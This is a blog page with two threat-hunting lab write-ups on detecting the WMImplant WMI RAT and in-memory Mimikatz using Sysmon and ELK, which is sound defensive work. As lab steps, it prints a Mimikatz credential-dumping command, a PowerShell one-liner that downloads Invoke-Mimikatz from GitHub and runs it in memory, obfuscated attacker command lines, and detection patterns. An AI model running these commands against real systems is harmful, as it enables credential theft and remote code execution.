Pages

Sunday, March 26, 2017

Chronicles of a Threat Hunter: Hunting for WMImplant with Sysmon and ELK - Part I (EID 1,12, 13, 17 & 18)


It was a normal day at work when all of the sudden I see the following on Twitter 







Apparently this new WMI RAT runs perfectly fine on Device Guard-enabled systems! It was Game ON ! I got very excited to test this tool BUT only to see how I could hunt for it, of course. Even though there might be different ways to detect the behavior of this new tool, I decided to use the tools I have been playing with for the past couple of months, Sysmon & ELK. 



Requirements:


  • Sysmon Installed (I have version 6 installed)
  • Winlogbeat forwarding logs to an ELK Server
  • An ELK Stack set up (I recommend reading this and this to help you set up your environment)
  • A Kibana Dashboard (I recommend reading this post to understand how you can create a dashboard in Kibana with Sysmon Logs)
  • WMImplant Script
  • Two Windows 7+ VMs (Victim & Attacker)
  • Notepad ++ (Good to edit Sysmon configs)


What is WMImplant?


WMImplant is a PowerShell based tool developed by @christruncer that leverages WMI to both perform actions against targeted machines, but also as the C2 channel for issuing commands and receiving results. WMImplant will likely require local administrator permissions on the targeted machine.  It is designed to run both interactively and non-interactively. When using WMImplant interactively, it’s designed to have a menu of commands reminiscent of Meterpreter. [Source]




Getting ready to hunt for WMImplant


Getting a Sysmon Config ready


The main goal is to log for only logs related to WMIimplant and filter out all the noise. It is easy to say "Just log for WmiPrvSE.exe activity in your Sysmon config" or "read the source code to know what you can log for". However, I find it more interesting, easier and faster to filter out most of the normal activity in my gold image and then look for the abnormal. Then, you could reference the code to understand your findings (it is up to you how you approach this part). I used my StartLogging.xml sysmon config which I used as a basic first config to filter out noise on an initial Sysmon setup.





Download and save the Sysmon config in a preferred location of your choice. Then, update your Sysmon rules configuration. In order to do this, make sure you run cmd.exe as administrator, and update your Sysmon rules with the configuration you just downloaded by running the following commands:


Sysmon.exe -c [Sysmon config xml file]



Getting a Kibana dashboard ready


Instead of looking at all the Sysmon logs created in the event viewer console, I prefer to have all my logs in different visualizations on one dashboard. It makes the analysis way easier allowing me to look at all the data at once and filter out noise. If you want to learn the basics of how to build a Kibana dashboard, you can read about it here and here. Create one similar to the one shown in figure 1 below.



Figure 1. WMImplant Dashboard





Delete/Clean your Index 


In order to reduce the number of logs before and during executing WMImplant, make sure you delete/clear your Index by running the following command as shown in figure 2 below:

curl -XDELETE 'localhost:9200/[name of your index]?pretty'

Do this again a few seconds before you run WMIimplant against your compromised computer.



Figure 2. Deleting/Clearing Index





Hunting for WMImplant


Download WMImplant.ps1 and Run it on the Attackers VM


Download the script from here, and Import the functions to your Attackers VM. Then, run the main function Invoke-WMImplant to use it interactively as shown in figure 3 below.



Figure 3. Running WMImplant interactively.





Setting up a User to connect to remote systems


Let's say we have the password of a domain user and we want to use it to connect to his/her computer. Use the "Change_user" command as shown in figure 4 below.



Figure 4. Changing user to connect to remote systems.





Running Command Line commands: command_exec


Lets start with a basic command: whoami (make sure you delete/clear index seconds before executing this)



Figure 5. Running command_exec to execute whoami on remote system.





First Look at our Dashboard


Go to your dashboard and refresh it to show you what happened in the past 15 mins. Right away we can see a few things:

  • Pipes: 2 <Anonymous Pipe> (PowerShell.exe Anonymous Pipes all the time)
  • Parent Process: WmiPrvSe.exe
  • Parent Process: PowerShell.exe
  • Parent Command Line: powershell.(G`CM ('{1}e{0}'-f'x','i')) (L`S env:Osrv5).Value
  • Command Line: powershell.(G`CM ('{1}e{0}'-f'x','i')) (L`S env:Osrv5).Value




Figure 6. First glance at WMImplant




Next, filter all your events to show only events that have "wmiprvse.exe" and "PowerShell.exe" as parents to see how WMImplant interacts with the compromised computer while running commands. Lets do one at the time and then we can combine them in a Query to see them in a timeline style on Kibana's Discovery view as shown in figure 9 below


Figure 7. Filtering everything to show Wmiprvse.exe as a parent only.





Figure 8. Filtering everything to show PowerShell.exe as a parent only.





Figure 9. Discovery View looking for Wmiprvse.exe and PowerShell.exe as parents.





Checking WMImplant Methodology and Code


Command_exec apparently executes Invoke-CommandExecution which follows the same methodology as explained in its documentation:

  • Remotely query and obtain the original value for Win32_OSRecoveryConfiguration’s DebugFilePath property.
  • Use WMImplant to execute a command on the targeted system (such as ifconfig), encode the output, and store the encoded results in the DebugFilePath property.
  • Remotely query the targeted system’s DebugFilePath over WMI to receive the encoded results.
  • Decode the results and display them to the console.
  • Set the DebugFilePath property on the targeted system back to its original value.


I decided to look for the Win32_OSRecoveryConfiguration string and I found that it was being defined as part of a long command in a Registry Value as shown in figure 11 below.



Figure 10. Searching for Win32_OSRecoveryConfiguration.




Figure 11. Win32_OSRecoveryConfiguration in EID 13 (Setting Reg Value)





Running more commands: Ipconfig & Get-WmiObject


I decided to run two commands:

  • ipconfig
  • get-wmiobject win32_operatingsystem | select csname, @{LABEL='LastBootUpTime'; EXPRESSION={$_.ConverttoDateTime($_.lastbootuptime)}}




Figure 12. Running other commands.





Checking our Dashboard


We can see more of the same behavior in figures 13 and 14 below:



Figure 13. WMImpant execution.





Figure 14. WMImplant and Win32_OSRecoveryConfiguration fingerprint.





PowerShell Basic Obfuscation


We can see that there is obfuscation happening on PowerShell command. however, I see them all starting with "powershell" as you can see in figure 15 below. We could also look for :

  • 'Get-C`hildItem'
  • 'Get-C`ommand'
  • 'Inv`oke-Ex`pression'
  • 'IE`X'
  • 'G`CI'
  • 'env:'



Figure 15. Obfuscation.




What is this "Environment\XXXXX"?


I noticed that the Registry Objects being set followed the same pattern:

HKEY_USERS\(user)\Environment\(5 characters)

Therefore I decided to filter everything by the string "Environment". I got results with Event IDs 12 and 13 as shown in figure 16 below.




Figure 16. Registry events WMImplant Fingerprint.




I decided to take a look at the code and found out that WMImplant creates an Environment variable with a 5 character Random alphanumeric name as shown in figure 17 below.



Figure 17. Environment Variable name created.




The Environment variable is set and then deleted which explains Sysmon Event IDs 12



Figure 18. Setting Environment Variable.






Figure 19. Deleting Environment Variable.




Final Thoughts


Even though this was just part I of hunting for WMImplant, I was able to come up with a basic fingerprint that could help us to reduce the number of false positives when hunting for WMImplant. I would say that the following fingerprint could be created based on the initial findings:
  • wmiprsve.exe spawning powershell.exe and executing obfuscated commands such as:
    • 'Get-C`hildItem'
    • 'Get-C`ommand'
    • 'DI`R'
    • 'L`S'
    • 'Child`Item'
    • 'Inv`oke-Ex`pression'
    • 'IE`X'
    • 'G`CI'
    • env:
    • 'Co`mmand'
  • Environment Variable name on EIDs 12 and 13
    • Pattern: \\Environment\\[a-zA-Z0-9]{5}
  • <Anonymous Pipes> by PowerShell.exe


Hunting Techniques recommended


Grouping [Source]
"Grouping consists of taking a set of multiple unique artifacts and identifying when multiple of them appear together based on certain criteria. The major difference between grouping and clustering is that in grouping your input is an explicit set of items that are each already of interest. Discovered groups within these items of interest may potentially represent a tool or a TTP that an attacker might be using. An important aspect of using this technique consists of determining the specific criteria used to group the items, such as events having occurred during a specific time window.This technique works best when you are hunting for multiple, related instances of unique artifacts, such as the case of isolating specific reconnaissance commands that were executed within a specific timeframe."


Searching [Source]
The simplest method of hunting, searching is querying data for specific artifacts and can be performed in most tools. Unfortunately it may not always be the most effective method because it cannot produce outliers in the result set; you get exactly the results you searched for.Searching also requires a finely defined search criteria to prevent result overload. A search that is too broad will often flood an analyst with too many results to realistically process.


You can either group those events or look for specific strings that get created under several events. You can configure your Sysmon config to monitor for environment variables and anonymous pipes. This was just part I. I will test the rest of the commands available next week and let you know what I find.



Feedback is greatly appreciated!  Thank you.





Wednesday, March 22, 2017

Chronicles of a Threat Hunter: Hunting for In-Memory Mimikatz with Sysmon and ELK - Part II (Event ID 10)




In part I of Hunting for In-Memory Mimikatz with Sysmon and ELK, I talked about focusing on specific Windows DLLs that Mimikatz still needs in order to work (no matter what process it is running from and if it touches disk or not). We were able to drill it down to 5 modules and an optional one. That was just one approach to the detection of Mimikatz and I recommended to group it with other chains of events to reduce the number of false positives.

In this post, I will show you how we can add to the detection of in-memory Mimikatz by focusing on processes opening the Local Security Authority (Lsass.exe) process and reading the memory contents of it. In order to get this type of visibility on the endpoint, I will use Sysmon to log Event ID 10 (ProcessAccess) and my ELK Stack to demonstrate how we can filter out legit processes and reduce the FP.


Requirements:


  • Sysmon Installed (I have version 6 installed)
  • Winlogbeat forwarding logs to an ELK Server
  • I recommend to read my series "Setting up a Pentesting.. I mean, a Threat Hunting Lab" specifically part 5 & 6 to help you set up your environment.
  • Invoke-Mimikatz (PowerShell Empire Mimikatz version: 2.1 20161126 and PowerSploit version)
  • Mimikatz Binary (Version 20170320)
  • I also recommend reading Part I of Hunting for In-Memory Mimikatz to understand the methodology.


Event ID 10: Process Access


The process accessed event reports when a process opens another process, an operation that’s often followed by information queries or reading and writing the address space of the target process. This enables detection of hacking tools that read the memory contents of processes like Local Security Authority (Lsass.exe) in order to steal credentials for use in Pass-the-Hash attacks. Enabling it can generate significant amounts of logging if there are diagnostic utilities active that repeatedly open processes to query their state, so it generally should only be done so with filters that remove expected accesses.[Source]



Process Security and Access Rights


The Microsoft Windows security model enables you to control access to process objects. When a user logs in, the system collects a set of data that uniquely identifies the user during the authentication process, and stores it in an access token. This access token describes the security context of all processes associated with the user. The security context of a process is the set of credentials given to the process or the user account that created the process.You can use a token to specify the current security context for a process using the CreateProcessWithTokenW function. You can specify a security descriptor for a process when you call the CreateProcess, CreateProcessAsUser, or CreateProcessWithLogonW function. If you specify NULL, the process gets a default security descriptor. The ACLs in the default security descriptor for a process come from the primary or impersonation token of the creator.To retrieve a process's security descriptor, call the GetSecurityInfo function. To change a process's security descriptor, call the SetSecurityInfo function.The valid access rights for process objects include the standard access rights and some process-specific access rights.[Source

The following table lists the process-specific access rights:


Value
Meaning

PROCESS_ALL_ACCESS (0x1fffff)

All possible access rights for a process object.

PROCESS_CREATE_PROCESS
 (0x0080)

Required to create a process.

PROCESS_CREATE_THREAD
 (0x0002)

Required to create a thread.

PROCESS_DUP_HANDLE
 (0x0040)

Required to duplicate a handle using DuplicateHandle.

PROCESS_QUERY_INFORMATION
 (0x0400)

Required to retrieve certain information about a process, such as its token, exit code, and priority class (see OpenProcessToken).

PROCESS_QUERY_LIMITED_INFORMATION
 (0x1000)

Required to retrieve certain information about a process

(see GetExitCodeProcessGetPriorityClassIsProcessInJobQueryFullProcessImageName).

A handle that has the PROCESS_QUERY_INFORMATION access right is automatically granted PROCESS_QUERY_LIMITED_INFORMATION.

PROCESS_SET_INFORMATION
 (0x0200)

Required to set certain information about a process, such as its priority class (see SetPriorityClass).

PROCESS_SET_QUOTA
 (0x0100)

Required to set memory limits using SetProcessWorkingSetSize.

PROCESS_SUSPEND_RESUME
 (0x0800)

Required to suspend or resume a process.

PROCESS_TERMINATE
 (0x0001)

Required to terminate a process using TerminateProcess.

PROCESS_VM_OPERATION
 (0x0008)

Required to perform an operation on the address space of a process 

(see VirtualProtectEx and WriteProcessMemory).

PROCESS_VM_READ
 (0x0010)

Required to read memory in a process using ReadProcessMemory.

PROCESS_VM_WRITE
 (0x0020)

Required to write to memory in a process using WriteProcessMemory.

SYNCHRONIZE
 (0x00100000L)


Required to wait for the process to terminate using the wait functions.




Getting ready to hunt for Mimikatz


Getting a Sysmon Config ready


All we need is a basic Sysmon config to ONLY monitor for "ProcessAccess" events when Lsass.exe is accesses/opened by PowerShell in order to steal credentials after reflectively loading Mimikatz in memory. I created a gist with the basic configuration that you will need for this. 






Download and save the Sysmon config in a preferred location of your choice. Then, update your Sysmon rules configuration. In order to do this, make sure you run cmd.exe as administrator, and use the configuration you just downloaded as shown in figure 1 below. Run the following commands:

Sysmon.exe -c [Sysmon config xml file]

Then, confirm if your new config is running by typing the following:

sysmon.exe -c   (You will notice that the only things being logged will be PowerShell.exe accessing/opening Lsass.exe as shown in figure 1 below.)


Figure 1. Updating Sysmon Config.



Delete/Clean your Index 


If you open your Kibana console and filter your view to show only Sysmon logs, you will see old records that were sent to your ELK server before updating your Sysmon config. In order to be safe and make sure you don't have old logs that might interfere with your results, I recommend to delete/clear your Index by running the following command as shown in figure 2 below:

curl -XDELETE 'localhost:9200/[name of your index]?pretty'


If you are using my Logstash configs, an index gets created as soon as it passes data to your elasticsearch. (Remember that if you are sending also native Windows Logs to your ELK stack, you will still receive those logs. Just filter those out)


Figure 2. Deleting/Clearing Index.




Figure 3. Cleared/Cleaned Logs.





Create a Visualization for "ProcessAccess" events


I do this so that I can group events and visualize data properly instead of using the event viewer. To get started do the following:

  • Click on "Visualize"on the left panel
  • Select "Data Table" as your visualization type
  • Select the index you want to use (In this case, the only one available is Winlogbeat-* for me)
  • Select the "Split Rows" bucket type
  • Select the aggregation type "Terms"
  • Select the data field for the visualization (event_data.GrantedAccess.keyword)
  • By default data will be ordered "Descending".
  • Set the number of records to show to "25" (This is up to you. I will start with 25)


Figure 4. Creating Visualization.




Click on "options" and set the "Per Page" value to show 20 results per page (You can leave it at 10 by default. I just like to set it to 20 just in case. I might only get a few events for this specific exercise, but it can help us when we have thousands of events being forwarded to our ELK Server)




Figure 5. Creating Visualization.





Give a name to your new visualization and save it.



Figure 6. Saving Visualization.




I also recommend to have "SourceImage"  and "TargetImage" visualizations as shown below in figures 7 & 8 created. This will help you to filter out false positives in your environment. For our first tests logging only lsass.exe & PowerShell.exe, those extra visualization might not seem that useful. However, when we update our Sysmon config to log any process accessing Lsass.exe, those visualizations will make our lives easier to filter out noise.



Figure 7. Saving Visualization.




Figure 8. Saving Visualization




Creating a simple dashboard to add our visualization


To get started do the following:

  • Click on "Dashboard" on the left panel.
  • Click on "Add" on the options above your Kibana search bar.
  • Select the visualizations we just created. This will add the visualizations to your dashboard.
  • Click on "Save"give it a name and save your dashboard



Figure 9. Saving new Dashboard




Detecting Mimikatz on Disk


Download the latest Mimikatz Trunk and Run the binary


Our first test will be running Mimikatz on disk. Download the latest binary from here. Next, start PowerShell as Administrator and run Mimikatz.exe with the following commands as shown in figure 10 below:

.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit



Figure 10. Running Mimikatz on Disk.





Refresh your dashboard. You will see that PowerShell and Mimikatz are Source Images, and Lsass.exe and Mimikatz(again) are the Target Images. In addition, I can see two GrantedAccess codes (0x1010 & 0x1fffff).



Figure 11. Using Dashboard to show results.




Next, click on SourceImage - C:\Windows\System32\WindowsPowerShel\v1.0\powershell.exe . That will create a filter to show only powershell.exe as a source image. As you can see in figure 12 below, PowerShell accesses/opened Mimikatz with 0x1fffff which means Process_ALL_Access. This is normal since PowerShell executed Mimikatz.




Figure 12. Showing only PowerShell as a Source Image.




Now hover over your PowerShell filter and click on the Minus symbol inside of the magnifier glass icon. That will filter out PowerShell.exe and show you the event of Mimikatz accessing Lsass.exe. As you can see in figure 13 below, Mimikatz uses 0x1010 permissions to access Lsass.exe. According to our table of Process-Specific Access Rights that I showed you at the beginning of this article, that combination is the results of adding 0x1000 (QueryLimitedInformation) & 0x0010 (VMRead).




Figure 13. Mimikatz Granted Access code.




Figure 14. Sysmon Event Log.





What happened with this?



Figure 15. Outdated Mimikatz Version



The permissions changed with the latest version of Mimikatz (20170320). However, the latest versions of Invoke-mimikatz (PowerSploit & PowerShellEmpire) still use the outdated version. We will test them next to confirm. So far our basic fingerprint of Mimikatz from a permissions perspective to read memory contents of lsass.exe is to look for "GrantedAccess: 0x1010".




Detecting In-memory Mimikatz


First, Delete/Clear your Index


I recommend to delete/clear your Index by running the following command as shown in figure 16 below:

curl -XDELETE 'localhost:9200/[name of your index]?pretty'



Figure 16. Deleting/Clearing Index.






Running Outdated Mimikatz (20161126)


Run PowerShell as administrator. Next, download Invoke-Mimikatz as a string from Github and run it in memory by typing the following commands:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/module_source/credentials/Invoke-Mimikatz.ps1'); Invoke-Mimikatz



Figure 17. Running Mimikatz in Memory.




Next, refresh your dashboard. We can see in figure 18 below two GrantedAccess values again, but I can tell that the 0x1ffff is from PowerShell.exe running whoami.exe which is part of the Invoke-Mimikatz script from PowerShell Empire. Remember that we shouldn't be relying on the whoami.exe event unless we think an adversary would be using the same PowerShell Empire Script (maybe? Red team?).  



Figure 18. Results of  outdated Mimikatz in Memory. 





After filtering everything to show only GrantedAccess: 0x1410, you will see that it is powershell accessing Lsass.exe. Once again, this is with the outdated version of Mimikatz in Invoke-Mimikatz.




Figure 19. Results of outdated Mimikatz in Memory.





Running latest version of Mimikatz in Memory (20170320)


I updated the PowerSploit Invoke-Mimikatz script with the latest version of Mimikatz (20170320). It doesn't matter which script I update (PowerSploit or PowerShellEmpire) because anyways I have to replace the values of $PEBytes32 & $PEBytes64 in the script with the encoded version of the Mimikatz module. We do this in order to validate the results I obtained before after executing Mimikatz on disk. Make sure you delete/clear your index before running it. After running the Invoke-Mimikatz (v. 20170320), you should get the same results as when Mimikatz was executed on disk as shown in figure 20. GrantedAccess: 0x1010. This is expected since we are running the same Mimikatz module with the difference that we are loading the updated Mimikatz module reflectively in memory and in the context of PowerShell.exe. 



Figure 20. Latest version of Mimikatz in Memory.




How can we test this fingerprint against other processes accessing Lsass?


Before thinking on deploying a detection rule like this to your Sysmon config in production, I highly recommend to get a gold image and log every single process accessing Lsass in the system. You will see a lot of AV solutions accessing Lsass.exe the whole time.



Edit and Update your Sysmon config


Edit your config to only log for ProcessAccess events targeting Lsass.exe as shown in figure 21 below.


Figure 21. Edit your Sysmon Config




Then, update your Sysmon rules configuration. In order to do this, make sure you run cmd.exe as administrator, and use the configuration you just edited as shown in figure 22 below. Run the following commands:

Sysmon.exe -c [Sysmon config xml file]

Then, confirm if your new config is running by typing the following:

sysmon.exe -c   (You will notice that the only things being logged will be Lsass.exe as shown in figure 22 below.)


Figure 22. Updating Sysmon rules configuration.




Testing this in a bigger dev environment


I tested this in my own home environment and I didnt like to see only a few events in the console (not many applications where accessing lsass to test this approach). I decided to test this in a bigger dev environment to see how this basic fingerprint would scale. I found some interesting stuff.



Total Events
0x1410
0x1010
1,084,394
23,138
3


There were more than 1M events (Event ID 10) in a 30 days period, and as you can see in the small table above, the latest version of Mimikatz seemed to be easier to detect/spot using the basic fingerprint of GrantedAccess 0x1010




Final Thoughts


Once again, even though this is just part II of detecting In-memory Mimikatz, we are already coming up with another good indicator to reduce the number of false positives when hunting for it.

Based on our test today, we can say that if we want to detect the latest version of Mimikatz from a ProcessAccess event perspective, we should look for:

GrantedAccess: 0x1010

Now, if we still want to detect the current Invoke-Mimikatz versions used in projects such as PowerSploit and PowerShell Empire. We should also look for:

GrantedAccess: 0x1410

However, when looking for 0x1410, there is a little bit more of tuning that needs to happen to filter all the noise. You will have to add extra exclusion rules to your Sysmon config. Also, I would suggest to look at the pattern of the Trace Call field (Stack) in your Sysmon EID 10 logs. As you can see in figure 23 below, In-Memory Mimikatz always has the same CallTrace pattern. Remember that Sysmon only shows the module used and the offset addresses. However, you can use either Process Monitor or Process Explorer to configure a public Microsoft Symbol Server and show you a better call stack with all the function names. You can learn how here. This Call Trace pattern could be useful with the right Regex to filter out all the noise (having some issues with Lucene regex in kibana). 

C:\\Windows\\SYSTEM32\\ntdll\.dll\+[a-zA-Z0-9]{1,}\|C:\\Windows\\system32\\KERNELBASE\.dll\+[a-zA-Z0-9]{1,}\|UNKNOWN\([a-zA-Z0-9]{16}\)



Figure 23. Mimikatz CallTrace.




Hunting Technique recommended


Grouping [Source]
"Grouping consists of taking a set of multiple unique artifacts and identifying when multiple of them appear together based on certain criteria. The major difference between grouping and clustering is that in grouping your input is an explicit set of items that are each already of interest. Discovered groups within these items of interest may potentially represent a tool or a TTP that an attacker might be using. An important aspect of using this technique consists of determining the specific criteria used to group the items, such as events having occurred during a specific time window.This technique works best when you are hunting for multiple, related instances of unique artifacts, such as the case of isolating specific reconnaissance commands that were executed within a specific timeframe."


Up to this point we can, for example use this approach (GrantedAccess 0x1010 OR 0x1410) with the group of modules explained in part I and start hunting for In-memory Mimikatz. Grouping those events with other chains of events will definitely reduce the number of false positives. In my next post I will go over other commands in Mimikatz that an adversary could use besides dumping credentials and see what other permissions Mimikatz uses to interact with Lsass.exe. I will combine that with other native Windows events.



Feedback is greatly appreciated! Thank you.



Updates

  • 03/25/2017 - Mimikatz Update 2.1.1-20170326 has the same permissions for "sekurlsa::logonpasswords". 0x1010.
  • 03/26/2017 - Updated CallTrace Regex. Still working on Kibana Lucene Regex
  • 03/31/2017 - Mimikatz Update 2.1.1- 20170328 has the same permissions for "sekurlsa::logonpasswords". 0x1010.